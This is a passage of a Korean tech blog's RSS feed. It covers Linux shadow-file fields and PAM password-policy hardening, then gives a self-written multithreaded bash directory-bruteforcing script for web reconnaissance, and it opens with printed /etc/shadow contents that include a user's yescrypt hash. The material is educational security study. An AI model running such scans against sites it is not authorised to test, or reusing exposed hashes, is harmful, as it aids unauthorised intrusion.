root:*:19683:0:99999:7:::
daemon:*:19683:0:99999:7:::
bin:*:19683:0:99999:7:::
sys:*:19683:0:99999:7:::
sync:*:19683:0:99999:7:::
games:*:19683:0:99999:7:::
man:*:19683:0:99999:7:::
lp:*:19683:0:99999:7:::
mail:*:19683:0:99999:7:::
news:*:19683:0:99999:7:::
uucp:*:19683:0:99999:7:::
proxy:*:19683:0:99999:7:::
www-data:*:19683:0:99999:7:::
backup:*:19683:0:99999:7:::
list:*:19683:0:99999:7:::
irc:*:19683:0:99999:7:::
gnats:*:19683:0:99999:7:::
nobody:*:19683:0:99999:7:::
systemd-network:*:19683:0:99999:7:::
systemd-resolve:*:19683:0:99999:7:::
messagebus:*:19683:0:99999:7:::
systemd-timesync:*:19683:0:99999:7:::
syslog:*:19683:0:99999:7:::
_apt:*:19683:0:99999:7:::
uuidd:*:19683:0:99999:7:::
tcpdump:*:19683:0:99999:7:::
jangto:$y$j9T$WEWfG2MdFRqUCeUrv2K87/$klDGfSwkHAbl3Q1aiqBfmn4MYWF2x4A:19819:0:99999:7:::&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Hash 비밀번호 보는법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hash 비밀번호는 기본적으로 &lt;b&gt;$암호화 방법&lt;/b&gt;, &lt;b&gt;$Salt, &lt;/b&gt;&lt;b&gt;$3암호화된 비밀번호&lt;/b&gt;로 이루어져 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;* : 비밀번호로 로그인이 불가능 하지만 별도의 인증 방식으로 로그인 가능&lt;/li&gt;
&lt;li&gt;Null : 비밀번호 미설정 (아무나 로그인 가능)&lt;/li&gt;
&lt;li&gt;!! : 어떤 방식으로도 로그인 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 암호화 방법&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$5 미만의 값으로 암호화 되어있는 경우 보안에 매우 취약합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$1 : MD5 ( &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;취약점 &lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;$2 : Blowfish ( &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;취약점&lt;/a&gt; )&lt;/li&gt;
&lt;li&gt;$5 : SHA256&lt;/li&gt;
&lt;li&gt;$6 : SHA512&lt;/li&gt;
&lt;li&gt;$y : yescrypt&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Salt&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Salt는 비밀번호는 생성 및 수정할때 OS에서 랜덤하게 생성하게 되며 Hash 알고리즘으로 암호화할때 평문을 바로 Hash화 하는게 아니라 Salt 같은 양념을 쳐서 평문과 대응하는 Hash 결과값을 사용하는 공격을 피할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;마지막 비밀번호 변경일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 숫자는 1970년 1월 1일부터 경과 한 일수를 의미합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;최소 변경 일수&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0 : 즉시 변경 가능&lt;/li&gt;
&lt;li&gt;숫자 : N일이 지나야 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;최대 변경 일수&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 일이 지났음에도 비밀번호를 변경하지 않은 경우 로그인 자체가 거부되거나 비밀번호 변경을 요구 받습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기업에서는 기본적으로 90 ~ 100일로 지정하는 경우가 많습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0 : 즉시 변경 요구&lt;/li&gt;
&lt;li&gt;99999 : 변경 필요 없음 (사실상 무기한) - 기본값&lt;/li&gt;
&lt;li&gt;1 ~ N : 마지막 변경일로 부터 해당 일이 지나면 변경 요구&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;경고일 수&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최대 변경 일수를 기준으로 지정된 일(기본값 7) 전에 알림을 줘서 변경을 유도 합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;최대 비활성화 일수&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최대 변경 일수가 지났음에도 불구하고 비밀번호를 변경하지 않았으며 최대 비활성화 일수가 지나게 되면 계정 로그인이 거부됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;계정 만료일자&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 일자로 도래하면 해당 계정은 사용 불가가 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 일자는 1970년 1월 1일부터 경과된 일을 작성하면 되고 &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;해당 칸이 비어있다면 해당 계정의 만료일자는 없는것으로 간주합니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 다양한 설정 진행&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 알아본 다양한 정보들을 설정하는 방법과 의미를 알아보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 설정들은 OS 환경마다 상이하기 때문에 정보보안기사에서 사용하는 RHEL7과 사용중인 Ubuntu에 두가지 경우에 대해 알아보겠습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;비밀번호 복잡도 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 복잡도 설정은 말 그대로 비밀번호를 생성할때 지켜야하는 것들을 설정하는 것입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;retry = N : N번까지 패스워드 재입력 가능&lt;/li&gt;
&lt;li&gt;minlen = N : 최소 N자리 이상 필요&lt;/li&gt;
&lt;li&gt;lcredit= -N : 소문자 최소 N개 이상 필요&lt;/li&gt;
&lt;li&gt;ucredit= -N : 대문자 최소 N개 이상 필요&lt;/li&gt;
&lt;li&gt;dcredit= -N : 숫자 최소 N개 이상 필요&lt;/li&gt;
&lt;li&gt;ocredit= -N : 특수문자 최소 N개 이상 필요&lt;/li&gt;
&lt;li&gt;difok = N : 비밀번호 변경 시 이전 비밀번호보다 N개 이상 차이 필요&lt;/li&gt;
&lt;li&gt;enforce_for_root
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;root 계정에도 비밀번호 복잡성 정책을 적용할지 여부이며 없다면 적용하지 않게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;RHEL7 환경&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 재시도 횟수는 3번이고 최소 8자리 이상이여야 하며 소문자 1개 이상, 대문자 1개이상, 숫자 1개 이상, 특수문자 1개 이상이여야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 비밀번호 변경 시 이전 비밀번호보다 8개의 글자가 달라야합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748940961677&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi /etc/security/pwquality.conf

password requisite pam_cracklib.so try_first_pass retry=3 minlen=8 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 difok=8&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Ubuntu 환경&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ubuntu 환경이라면 우선 apt install libpam-pwquality를 통해 패키지를 다운로드 받은 후 설정해줘야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 내용은 RHEL7 환경과 동일하게 진행하지만 여기서는 root 계정에서 유저를 추가하더라도 비밀번호 복잡성 설정을 적용할 수 있도록 하겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748944923167&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi /etc/pam.d/common-password

...

password        requisite                       pam_pwquality.so retry=3 minlen=8 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1 enforce_for_root
password        [success=1 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt

...&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;배운 내용 TEST&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꼭 위 설정을 한 후 아래와 같이 테스트 해보는게 좋습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748945217408&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- root 계정에서 유저 추가
$ adduser usera

Adding user `usera' ...
Adding new group `usera' (1004) ...
Adding new user `usera' (1003) with group `usera' ...
Creating home directory `/home/usera' ...
Copying files from `/etc/skel' ...
New password: [asdf]
BAD PASSWORD: The password contains less than 1 digits
New password: [asdf1]
BAD PASSWORD: The password contains less than 1 uppercase letters
New password: [asdf1A]
BAD PASSWORD: The password contains less than 1 non-alphanumeric characters
passwd: Have exhausted maximum number of retries for service
passwd: password unchanged
Try again? [y/N] y
New password: [asdf1A!]
BAD PASSWORD: The password is shorter than 8 characters
New password: [asdf1A!2]
Retype new password: [asdf1A!2]
passwd: password updated successfully
Changing the user information for userc
Enter the new value, or press ENTER for the default
        Full Name []:   [enter]
        Room Number []: [enter]
        Work Phone []:  [enter]
        Home Phone []:  [enter]
        Other []:       [enter]
Is the information correct? [Y/n] y

$ id usera

uid=1003(usera) gid=1004(usera) groups=1004(usera)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 이번에 tester라는 group을 만들고 userb 계정을 만들때 group을 지정해서 만들어보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 usera의 그룹을 tester로 변경하겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748945616718&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ getent group tester -- tester 라는 group이 있는지 확인

$ usermod -g tester usrea -- usera 유저의 그룹을 tester로 변경

$ adduser --ingroup tester userb -- userb 유저를 만드는데 tester라는 그룹으로 만든다.&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;비밀번호 사용 기간 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 설정은 비밀번호의 사용 가능 기간, 변경 가능 기간, 변경 알림을 설정할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정의 경우 RHEL7과 Ubuntu 환경 모두 동일한 곳에서 설정합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PASS_MAX_DAYS N : 최대 N일간 비밀번호 사용 가능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;99999의 의미는 무제한&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PASS_MIN_DAYS N : 최소 1일 경과 후 비밀번호 변경 가능
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0의 의미는 바로 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PASS_WARN_AGE N : PASS_MAX_DAYS 만료 N일이 남은 시점부터 비밀번호 변경 알림&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748947303577&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ vi /etc/login.defs

...

PASS_MAX_DAYS 100
PASS_MIN_DAYS 1 
PASS_WARN_AGE 7

...&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배운 내용 TEST&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 login.defs 파일을 저런식으로 설정한후 우선 아까 만든 계정을 사용해서 테스트를 해봤는데 비밀번호 변경이 성공한 것을 알 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748948180453&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ su - usera -- 아까 위에서 만든 usera 계정으로 변경

$ passwd -- 비밀번호 변경

Changing password for newuser.

Current password: [asdf1A!2]

New password: [newpwd1AA!@#]

Retype new password: [newpwd1AA!@#]

passwd: password updated successfully&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 1일 이후 변경이 가능하고 설정했는데 왜 이런건지 계정 설정을 확인해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 PASS_MIN_DAYS를 1로 설정했는데 지금 계정의 설정을 확인해보니 0으로 되어 있는것을 확인할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1748948317753&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ chage -l usera

Last password change                                    : Jun 03, 2025
Password expires                                        : never
Password inactive                                       : never
Account expires                                         : never
Minimum number of days between password change          : 0
Maximum number of days between password change          : 99999
Number of days of warning before password expires       : 7&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사실로 알게된 것은 login.defs 설정을 변경하더라도 기존 유저에게는 적용되지 않는다는 사실입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러기 때문에 만약 비밀번호 사용기간 설정을 변경하게 되면 모든 유저를 각각 설정해줘야 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하지만 설정 후 생성 된 유저들은 자동으로 login.defs 설정이 적용됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748948561632&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- 해당 설정은 root 계정만 가능합니다.
$ chage -m 1 usera

-- usera 계정으로 변경 후
$ chage -l usera

Last password change                                    : Jun 03, 2025
Password expires                                        : never
Password inactive                                       : never
Account expires                                         : never
Minimum number of days between password change          : 1
Maximum number of days between password change          : 99999
Number of days of warning before password expires       : 7&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chage 명령어의 기본적인 옵션에 대해 알아 보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-m : PASS_MIN_DAYS&lt;/li&gt;
&lt;li&gt;-M : PASS_MAX_DAYS&lt;/li&gt;
&lt;li&gt;-W : PASS_WARN_AGE&lt;/li&gt;
&lt;li&gt;-l : 현재 설정 상태를 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 다시 usera 유저의 비밀번호를 변경해보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748948697930&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- usera 계정으로 접속 후
$ passwd
Changing password for newuser.
Current password: [newpwd1AA!@#]
You must wait longer to change your password. -- 이렇게 기다리라는 경고와 함께 변경이 되지 않습니다.
passwd: Authentication token manipulation error
passwd: password unchanged&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최대 사용 가능 날짜와 알림도 테스트 하고 싶지만 지금 당장 확인이 어려워서 패쓰하겠습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;비밀번호 임계값 (잠금) 설정&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 설정은 계정 잠금과 관련된 설정으로 각 OS 환경에 따라 설정 방식이 다르기 때문에 각각 알아보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;deny = N : N회 입력 실패 시 계정 잠금&lt;/li&gt;
&lt;li&gt;unlock_time = N : 계정이 잠긴 이후 N초 경과 후 잠김 해제&lt;/li&gt;
&lt;li&gt;no_magic_root : root는 계정 잠금 설정 제외&lt;/li&gt;
&lt;li&gt;reset : 로그인 성공 시 실패 횟수 초기화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;RHEL7 환경&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 설정은 5회 실패 시 계정이 잠기고, 계정이 잠기는 경우 120초 이후 풀리고 로그인 성공 시 실패 횟수 초기화합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 root는 해당 설정을 따르지 않습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748950845476&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi /etc/pam.d/system-auth

auth required /lib/security/pam_tally.so deny=5 unlock_time=120 no_magic_root reset&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/281</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%84%EC%A0%95-%EB%B9%84%EB%B0%80%EB%B2%88%ED%98%B8-%EC%A0%95%EC%B1%85-%EB%B0%8F-%EC%84%A4%EC%A0%95-feat%EC%A0%95%EB%B3%B4%EB%B3%B4%EC%95%88%EA%B8%B0%EC%82%AC#entry281comment</comments>
      <pubDate>Tue, 3 Jun 2025 23:35:54 +0900</pubDate>
    </item>
    <item>
      <title>[웹 정보 수집] 직접 만들어서 써보는 Directory Bruteforcing</title>
      <link>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91-%EC%A7%81%EC%A0%91-%EB%A7%8C%EB%93%A4%EC%96%B4%EC%84%9C-%EC%8D%A8%EB%B3%B4%EB%8A%94-Directory-Bruteforcing</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;최근 해킹 관련 강의와 영상들을 찾아보다 보니 해킹의 시작은 &lt;b&gt;정보 수집&lt;/b&gt;이라는것을 배웠고 웹 정보 수집 기법 중 하나인 &lt;b&gt;Directory Bruteforcing&lt;/b&gt;에 대해 공부하고 직접 스크립트를 만들어 실습해 보았습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Directory Bruteforcing&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버가 숨기고 있는 디렉터리나 파일들을 사전에 준비된 단어 목록(Dictionary)을 기반으로 요청을 보내며 존재 여부를 파악하는 기법으로 매우 간단한 방식이지만 웹 취약점을 파악하는 데 있어 매우 효과적인 접근입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 기법에서 가장 중요한 것은 스크립트를 짜는 실력(&lt;b&gt;1%&lt;/b&gt;)이 아닌 효율적이고 효율적인 사전 파일(&lt;b&gt;99%&lt;/b&gt;) 입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;사전 파일에 대한 고민&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 사전파일을 처음부터 작성하는 것은 비효율적이기 때문에 이미 만들어진 다양한 사전 파일을 Github를 통해 얻을 수 있습니다.&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;( OpenSource : ex)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a style=&quot;color: #0070d1; text-align: left;&quot; href=&quot;https://gist.github.com/DaveYesland/e1d42489334049daf59d1c26543faa8b&quot;&gt;dirbrute.txt&lt;/a&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;이런 사전 파일들은 기본적으로 여러 사람들의 경험을 토대로 작성되기 때문에 상당히 좋습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;대 Vibe Coding 시대&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;최근 들어 코딩을 할줄 몰라도 AI를 사용한 웹사이트 만들기가 흐름이기 때문에 AI의 습관적인 경로도 사전 파일에 추가하면 더 좋아질것으로 생각됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;직접 만들어 본 Directory Bruteforcing Bash Script &lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1748780749304&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash

TARGET_URL=$1
DICTIONARY=$2
THREADS=${3:-10}  # 세 번째 인자가 없으면 기본값 10

if [ -z &quot;$TARGET_URL&quot; ] || [ -z &quot;$DICTIONARY&quot; ]; then
    echo &quot;! 사용법 : $0 &amp;lt;TARGET_URL&amp;gt; &amp;lt;DICTIONARY&amp;gt; [MAX_THREADS=10]&quot;
    exit 1
fi

if [[ ! -f &quot;$DICTIONARY&quot; ]]; then
    echo &quot;❌ 사전 파일이 존재하지 않습니다: $DICTIONARY&quot;
    exit 1
fi

if [[ ! &quot;$DICTIONARY&quot; =~ \.txt$ ]]; then
    echo &quot;❌ 사전 파일은 .txt 확장자여야 합니다.&quot;
    exit 1
fi

if ! [[ &quot;$THREADS&quot; =~ ^[0-9]+$ ]]; then
    echo &quot;❌ 스레드 수는 숫자여야 합니다.&quot;
    exit 1
fi

MAX_USER_THREADS=$(ulimit -u)

if [ &quot;$THREADS&quot; -gt &quot;$MAX_USER_THREADS&quot; ]; then
    echo &quot;❌ 현재 시스템에서 허용된 최대 스레드 수 ($MAX_USER_THREADS) 를 초과했습니다.&quot;
    exit 1
fi

if [ &quot;$THREADS&quot; -lt 1 ]; then
    echo &quot;❌ 스레드 수는 1 이상이어야 합니다.&quot;
    exit 1
fi

HTTP_CODE=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; &quot;$TARGET_URL&quot;)

if [[ &quot;$HTTP_CODE&quot; != &quot;200&quot; ]]; then
    echo &quot;❌ 타겟 URL에 접속할 수 없거나, HTTP 상태 코드가 200이 아닙니다. 상태 코드: $HTTP_CODE&quot;
    exit 1
fi

[[ &quot;$TARGET_URL&quot; =~ /$ ]] || TARGET_URL=&quot;${TARGET_URL}/&quot;

echo &quot;$TARGET_URL 에 대한 정보 수집을 시작합니다. (최대 동시 스레드 수: $THREADS)&quot;

ALLOWED_CODES=(&quot;200&quot; &quot;401&quot; &quot;403&quot;)

JOB_COUNT=0
FOUND_COUNT=0 
START_TIME=$(date +%s)

TOTAL_LINES=$(wc -l &amp;lt; &quot;$DICTIONARY&quot;)

while IFS= read -r path || [ -n &quot;$path&quot; ]; do
    FULL_URL=&quot;${TARGET_URL}${path}&quot;
    
    {
        # STATUS=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; --max-time 5 -A &quot;Mozilla/5.0&quot; &quot;$FULL_URL&quot;)
        # LENGTH=$(curl -s -w &quot;%{size_download}&quot; -o /dev/null --max-time 5 &quot;$FULL_URL&quot;)
        # 리팩토링
        CURL_OUTPUT=$(curl -s -w &quot;%{http_code}:%{size_download}&quot; -o /dev/null --max-time 5 -A &quot;Mozilla/5.0&quot; &quot;$FULL_URL&quot;)
        STATUS=$(echo &quot;$CURL_OUTPUT&quot; | cut -d':' -f1)
        LENGTH=$(echo &quot;$CURL_OUTPUT&quot; | cut -d':' -f2)
        
        for code in &quot;${ALLOWED_CODES[@]}&quot;; do
            if [[ &quot;$STATUS&quot; == &quot;$code&quot; ]]; then
                echo &quot;$FULL_URL [$STATUS] Size: $LENGTH&quot;
                ((FOUND_COUNT++))
                break
            fi
        done
    } &amp;amp;

    ((JOB_COUNT++))
    if (( JOB_COUNT % THREADS == 0 )) || (( JOB_COUNT == TOTAL_LINES )); then
        wait

        ELAPSED_TIME=$(( $(date +%s) - START_TIME ))
        if [ &quot;$ELAPSED_TIME&quot; -eq 0 ]; then ELAPSED_TIME=1; fi

        PROGRESS_PERCENT=$(awk &quot;BEGIN {printf \&quot;%.2f\&quot;, ($JOB_COUNT * 100) / $TOTAL_LINES}&quot;)
        PPS=$(( JOB_COUNT / ELAPSED_TIME )) # Path Per Second
        if [ &quot;$PPS&quot; -eq 0 ]; then PPS=1; fi
        EST_REMAINING_SECONDS=$(( (TOTAL_LINES - JOB_COUNT) / PPS ))

        printf &quot;\r[  진행률: %.2f%%] 처리된 항목: %s/%s | 발견: %s | 경과 시간: %s초 | 남은 시간 예상: %s초&quot; \
            &quot;$PROGRESS_PERCENT&quot; &quot;$JOB_COUNT&quot; &quot;$TOTAL_LINES&quot; &quot;$FOUND_COUNT&quot; &quot;$ELAPSED_TIME&quot; &quot;$EST_REMAINING_SECONDS&quot;
        
        if (( JOB_COUNT == TOTAL_LINES )); then
            echo &quot;&quot;
        fi
    fi
    
done &amp;lt; &quot;$DICTIONARY&quot;

wait&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/개발 및 자동화</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/280</guid>
      <comments>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91-%EC%A7%81%EC%A0%91-%EB%A7%8C%EB%93%A4%EC%96%B4%EC%84%9C-%EC%8D%A8%EB%B3%B4%EB%8A%94-Directory-Bruteforcing#entry280comment</comments>
      <pubDate>Sun, 1 Jun 2025 22:15:15 +0900</pubDate>
    </item>
    <item>
      <title>[Java] I/O 작동 원리 HDD 구조부터 시작하기</title>
      <link>https://jangto.tistory.com/entry/Java-IO-%EC%9E%91%EB%8F%99-%EC%9B%90%EB%A6%AC-HDD-%EA%B5%AC%EC%A1%B0%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Java I/O의 시작 - File과 하드디스크의 이해&lt;/b&gt;&lt;/h2&gt;
